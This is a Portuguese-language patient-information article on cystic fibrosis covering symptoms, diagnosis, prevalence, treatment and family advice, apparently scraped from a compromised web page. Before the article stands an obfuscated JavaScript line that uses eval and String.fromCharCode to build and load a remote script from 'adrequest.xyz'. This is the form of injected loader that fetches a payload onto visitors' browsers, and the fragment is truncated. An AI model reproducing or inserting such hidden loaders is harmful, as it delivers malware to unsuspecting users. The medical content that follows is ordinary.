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var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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FIBROSE CÍSTICA (MUCOVISCIDOSE)

Fibrose cística, ou mucoviscidose, é uma doença genética que se manifesta em ambos os sexos. O gene defeituoso é transmitido pelo pai e pela mãe (embora nenhum dos dois manifeste a doença) e é responsável pela alteração no transporte de íons através das membranas das células. Isso compromete o funcionamento das glândulas exócrinas que produzem substâncias (muco, suor ou enzimas pancreáticas) mais espessas e de difícil eliminação

Sintomas

A fibrose cística afeta os aparelhos digestivo e respiratório e as glândulas sudoríparas.

A obstrução dos ductos pancreáticos pela secreção mais viscosa impede que as enzimas digestivas sejam lançadas no intestino. O paciente tem má absorção de nutrientes e não ganha peso, apesar de alimentar-se bem. Apresenta também maior número de evacuações diárias e elimina fezes volumosas, com odor forte e gordurosas.

Essa obstrução por secreção mais espessa também pode acometer os ductos biliares. A bile retida no fígado favorece a instalação de um processo inflamatório.

Entretanto, o aparelho respiratório é a área mais delicada da doença. O pulmão produz muco espesso que pode ficar retido nas vias aéreas e ser invadido por bactérias. Outros sintomas são tosse com secreção produtiva, pneumonias de repetição, bronquite crônica.

A alteração do transporte iônico nas glândulas sudoríparas compromete a reabsorção de cloro. Níveis aumentados de cloro ajudam a reter água e sódio o que deixa o suor mais salgado.

Mulheres portadoras de fibrose cística têm mais dificuldade para engravidar porque o muco cervical mais espesso dificulta a passagem dos espermatozoides. Já 98% dos homens são estéreis, embora tenham desempenho e potência sexual absolutamente normais.

Diagnóstico

* Teste do suor: é específico para diagnóstico de fibrose cística. Níveis de cloro superiores a 60 milimoles por litro, em duas dosagens, associados a quadro clínico característico, indicam que a pessoa é portadora da doença;

Teste do pezinho: feito rotineiramente nas maternidades para três doenças congênitas, deve incluir a triagem para fibrose cística. Embora existam falsos positivos, resultado positivo é sinal de alerta que não deve ser desprezado;

* Teste genético: identifica apenas os tipos mais frequentes da doença, porque as mutações do gene são muitas e os kits, padronizados. Mesmo assim, esse teste cobre aproximadamente 80% dos casos.

Obs: Nos recém-nascidos, a fibrose cística pode provocar obstrução ileomeconial. Portanto, se a criança não eliminar naturalmente mecônio nas primeiras 24, 48 horas de vida, é preciso dar continuidade à investigação;

Prevalência

Vinte por cento da população são portadores assintomáticos do gene da fibrose cística. A doença acomete mais os brancos puros, é mais rara nos negros e muito rara nos orientais. Em países de grande miscigenação racial, a enfermidade pode manifestar-se em todo o tipo de população; mais cedo, se o espectro das mutações do gene for mais grave e, mais tardiamente, se for mais leve.

Tratamento

Além de garantir a reidratação e a reposição de sódio, especialmente nos dias de calor, o esquema de tratamento da fibrose cística inclui:

* Boa nutrição do paciente, por meio de dieta rica em calorias sem restrição de gorduras;

* Suplementação de enzimas pancreáticas para auxiliar a digestão;

* Reposição das vitaminas lipossolúveis A, D, E, K;

* Inalações diárias com soro fisiológico, broncodilatadores ou mucolíticos, conforme as características da secreção;

* Fisioterapia respiratória para facilitar a higiene dos pulmões e evitar infecções;

* Prescrição de antibióticos em casa ou no hospital, nos casos mais graves.

O tratamento de fibrose cística evolui bastante nas últimas décadas. Isso garante aos pacientes vida mais longa e de boa qualidade.

Recomendações

* Procure afastar qualquer indício de sentimento de culpa se seu filho for portador de fibrose cística. Você é tão culpado por ter-lhe transmitido esse gene quanto por ter transmitido o gene que lhe deu a cor dos olhos ou o tom da pele;

* Verifique se o teste do pezinho inclui a triagem para a fibrose cística, quando nascer uma criança em sua família;

* Esteja atento à boa nutrição do portador de fibrose cística. Paciente bem nutrido pode atingir as curvas normais de peso e altura;

* Convença o paciente a praticar atividade física. Natação, por exemplo, ajuda a trabalhar a musculatura da caixa torácica;

* Não se esqueça de que os portadores da doença, desde que adequadamente tratados, conseguem levar vida normal e de boa qualidade.

Fonte: https://drauziovarella.com.br